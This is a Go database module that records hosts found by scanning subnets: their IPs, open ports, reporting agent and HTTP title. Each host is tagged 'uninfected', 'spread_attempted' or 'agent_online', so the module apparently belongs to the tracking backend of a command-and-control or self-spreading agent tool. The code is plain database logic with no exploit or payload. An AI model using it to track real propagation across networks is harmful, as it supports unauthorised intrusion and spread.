package db

import (
	"encoding/json"
	"fmt"
	"strings"
	"time"
)

const (
	SubnetDiscoveryUninfected      = "uninfected"
	SubnetDiscoverySpreadAttempted = "spread_attempted"
	SubnetDiscoveryAgentOnline     = "agent_online"
)

type SubnetDiscoveryRow struct {
	IP              string          `json:"ip"`
	OpenPorts       json.RawMessage `json:"open_ports"`
	ReporterAgentID string          `json:"reporter_agent_id"`
	SubnetPrefix    string          `json:"subnet_prefix"`
	HTTPTitle       string          `json:"http_title"`
	FirstSeen       string          `json:"first_seen"`
	LastSeen        string          `json:"last_seen"`
	Status          string          `json:"status"`
}

func (d *Database) ensureSubnetDiscoveriesTable() error {
	if d == nil {
		return nil
	}
	_, err := d.Exec(`CREATE TABLE IF NOT EXISTS subnet_discoveries (
		ip TEXT PRIMARY KEY,
		open_ports TEXT NOT NULL DEFAULT '[]',
		reporter_agent_id TEXT NOT NULL DEFAULT '',
		subnet_prefix TEXT NOT NULL DEFAULT '',
		http_title TEXT NOT NULL DEFAULT '',
		first_seen DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
		last_seen DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
		status TEXT NOT NULL DEFAULT 'uninfected'
	)`)
	if err != nil {
		return fmt.Errorf("subnet_discoveries migration: %w", err)
	}
	_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_subnet_discoveries_prefix ON subnet_discoveries(subnet_prefix)`)
	_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_subnet_discoveries_status ON subnet_discoveries(status)`)
	return nil
}

func (d *Database) UpsertSubnetDiscovery(row SubnetDiscoveryRow) (*SubnetDiscoveryRow, error) {
	if err := d.ensureSubnetDiscoveriesTable(); err != nil {
		return nil, err
	}
	ip := strings.TrimSpace(row.IP)
	if ip == "" {
		return nil, fmt.Errorf("ip required")
	}
	now := time.Now().UTC()
	prefix := normalizeSubnetDiscoveryPrefix(row.SubnetPrefix, ip)
	portsJSON, err := marshalOpenPorts(row.OpenPorts)
	if err != nil {
		return nil, err
	}
	status := normalizeSubnetDiscoveryStatus(row.Status)
	reporter := strings.TrimSpace(row.ReporterAgentID)
	title := strings.TrimSpace(row.HTTPTitle)

	var existingPorts, existingStatus string
	err = d.QueryRow(`SELECT open_ports, status FROM subnet_discoveries WHERE ip = ?`, ip).Scan(&existingPorts, &existingStatus)
	if err == nil {
		merged, mErr := mergeOpenPortsJSON(existingPorts, portsJSON)
		if mErr != nil {
			return nil, mErr
		}
		portsJSON = merged
		status = mergeSubnetDiscoveryStatus(existingStatus, status)
		_, err = d.Exec(`UPDATE subnet_discoveries SET open_ports=?, reporter_agent_id=CASE WHEN ?!='' THEN ? ELSE reporter_agent_id END,
			subnet_prefix=CASE WHEN ?!='' THEN ? ELSE subnet_prefix END, http_title=CASE WHEN ?!='' THEN ? ELSE http_title END,
			last_seen=?, status=? WHERE ip=?`, portsJSON, reporter, reporter, prefix, prefix, title, title, now, status, ip)
		if err != nil {
			return nil, err
		}
		return d.GetSubnetDiscovery(ip)
	}
	_, err = d.Exec(`INSERT INTO subnet_discoveries (ip, open_ports, reporter_agent_id, subnet_prefix, http_title, first_seen, last_seen, status)
		VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, ip, portsJSON, reporter, prefix, title, now, now, status)
	if err != nil {
		return nil, err
	}
	return d.GetSubnetDiscovery(ip)
}

func (d *Database) GetSubnetDiscovery(ip string) (*SubnetDiscoveryRow, error) {
	if err := d.ensureSubnetDiscoveriesTable(); err != nil {
		return nil, err
	}
	ip = strings.TrimSpace(ip)
	var row SubnetDiscoveryRow
	var first, last time.Time
	var portsStr string
	err := d.QueryRow(`SELECT ip, open_ports, reporter_agent_id, subnet_prefix, http_title, first_seen, last_seen, status FROM subnet_discoveries WHERE ip=?`, ip).
		Scan(&row.IP, &portsStr, &row.ReporterAgentID, &row.SubnetPrefix, &row.HTTPTitle, &first, &last, &row.Status)
	if err != nil {
		return nil, err
	}
	row.OpenPorts = json.RawMessage(portsStr)
	row.FirstSeen = first.UTC().Format(time.RFC3339)
	row.LastSeen = last.UTC().Format(time.RFC3339)
	return &row, nil
}

func (d *Database) MarkSubnetDiscoveryAgentOnline(ip string) (*SubnetDiscoveryRow, error) {
	if err := d.ensureSubnetDiscoveriesTable(); err != nil {
		return nil, err
	}
	ip = strings.TrimSpace(ip)
	if ip == "" {
		return nil, nil
	}
	now := time.Now().UTC()
	prefix := normalizeSubnetDiscoveryPrefix("", ip)
	res, err := d.Exec(`UPDATE subnet_discoveries SET status=?, last_seen=?, subnet_prefix=CASE WHEN subnet_prefix='' THEN ? ELSE subnet_prefix END WHERE ip=?`,
		SubnetDiscoveryAgentOnline, now, prefix, ip)
	if err != nil {
		return nil, err
	}
	n, _ := res.RowsAffected()
	if n == 0 {
		_, err = d.Exec(`INSERT INTO subnet_discoveries (ip, open_ports, reporter_agent_id, subnet_prefix, http_title, first_seen, last_seen, status)
			VALUES (?, '[]', '', ?, '', ?, ?, ?)`, ip, prefix, now, now, SubnetDiscoveryAgentOnline)
		if err != nil {
			return nil, err
		}
	}
	return d.GetSubnetDiscovery(ip)
}

func (d *Database) MarkSubnetDiscoverySpreadAttempted(ip string) (*SubnetDiscoveryRow, error) {
	if err := d.ensureSubnetDiscoveriesTable(); err != nil {
		return nil, err
	}
	ip = strings.TrimSpace(ip)
	if ip == "" {
		return nil, nil
	}
	now := time.Now().UTC()
	_, err := d.Exec(`UPDATE subnet_discoveries SET status=?, last_seen=? WHERE ip=?`, SubnetDiscoverySpreadAttempted, now, ip)
	if err != nil {
		return nil, err
	}
	return d.GetSubnetDiscovery(ip)
}

func (d *Database) ListSubnetDiscoveries(subnetPrefix, status string, limit int) ([]SubnetDiscoveryRow, error) {
	if err := d.ensureSubnetDiscoveriesTable(); err != nil {
		return nil, err
	}
	if limit <= 0 {
		limit = 500
	}
	q := `SELECT ip, open_ports, reporter_agent_id, subnet_prefix, http_title, first_seen, last_seen, status FROM subnet_discoveries WHERE 1=1`
	var args []interface{}
	subnetPrefix = strings.TrimSpace(subnetPrefix)
	if subnetPrefix != "" {
		q += ` AND subnet_prefix LIKE ?`
		args = append(args, subnetPrefix+"%")
	}
	status = strings.TrimSpace(status)
	if status != "" {
		q += ` AND status = ?`
		args = append(args, status)
	}
	q += ` ORDER BY last_seen DESC LIMIT ?`
	args = append(args, limit)
	rows, err := d.Query(q, args...)
	if err != nil {
		return nil, err
	}
	defer rows.Close()
	var out []SubnetDiscoveryRow
	for rows.Next() {
		var row SubnetDiscoveryRow
		var first, last time.Time
		var portsStr string
		if err := rows.Scan(&row.IP, &portsStr, &row.ReporterAgentID, &row.SubnetPrefix, &row.HTTPTitle, &first, &last, &row.Status); err != nil {
			return nil, err
		}
		row.OpenPorts = json.RawMessage(portsStr)
		row.FirstSeen = first.UTC().Format(time.RFC3339)
		row.LastSeen = last.UTC().Format(time.RFC3339)
		out = append(out, row)
	}
	return out, rows.Err()
}

func normalizeSubnetDiscoveryPrefix(prefix, ip string) string {
	prefix = strings.TrimSpace(prefix)
	prefix = strings.TrimSuffix(prefix, ".x")
	prefix = strings.TrimSuffix(prefix, "/24")
	if prefix != "" {
		return prefix
	}
	parts := strings.Split(strings.TrimSpace(ip), ".")
	if len(parts) >= 3 {
		return strings.Join(parts[:3], ".")
	}
	return ""
}

func normalizeSubnetDiscoveryStatus(s string) string {
	s = strings.TrimSpace(strings.ToLower(s))
	switch s {
	case SubnetDiscoverySpreadAttempted, SubnetDiscoveryAgentOnline:
		return s
	default:
		return SubnetDiscoveryUninfected
	}
}

func mergeSubnetDiscoveryStatus(existing, incoming string) string {
	existing = normalizeSubnetDiscoveryStatus(existing)
	incoming = normalizeSubnetDiscoveryStatus(incoming)
	if existing == SubnetDiscoveryAgentOnline || incoming == SubnetDiscoveryAgentOnline {
		return SubnetDiscoveryAgentOnline
	}
	if existing == SubnetDiscoverySpreadAttempted || incoming == SubnetDiscoverySpreadAttempted {
		return SubnetDiscoverySpreadAttempted
	}
	return SubnetDiscoveryUninfected
}

func marshalOpenPorts(raw json.RawMessage) (string, error) {
	if len(raw) == 0 {
		return "[]", nil
	}
	var ports []int
	if err := json.Unmarshal(raw, &ports); err != nil {
		return string(raw), nil
	}
	b, err := json.Marshal(ports)
	if err != nil {
		return "[]", err
	}
	return string(b), nil
}

func mergeOpenPortsJSON(existing, incoming string) (string, error) {
	var a, b []int
	_ = json.Unmarshal([]byte(existing), &a)
	_ = json.Unmarshal([]byte(incoming), &b)
	seen := map[int]bool{}
	var out []int
	for _, p := range append(a, b...) {
		if p > 0 && !seen[p] {
			seen[p] = true
			out = append(out, p)
		}
	}
	if out == nil {
		out = []int{}
	}
	raw, err := json.Marshal(out)
	return string(raw), err
}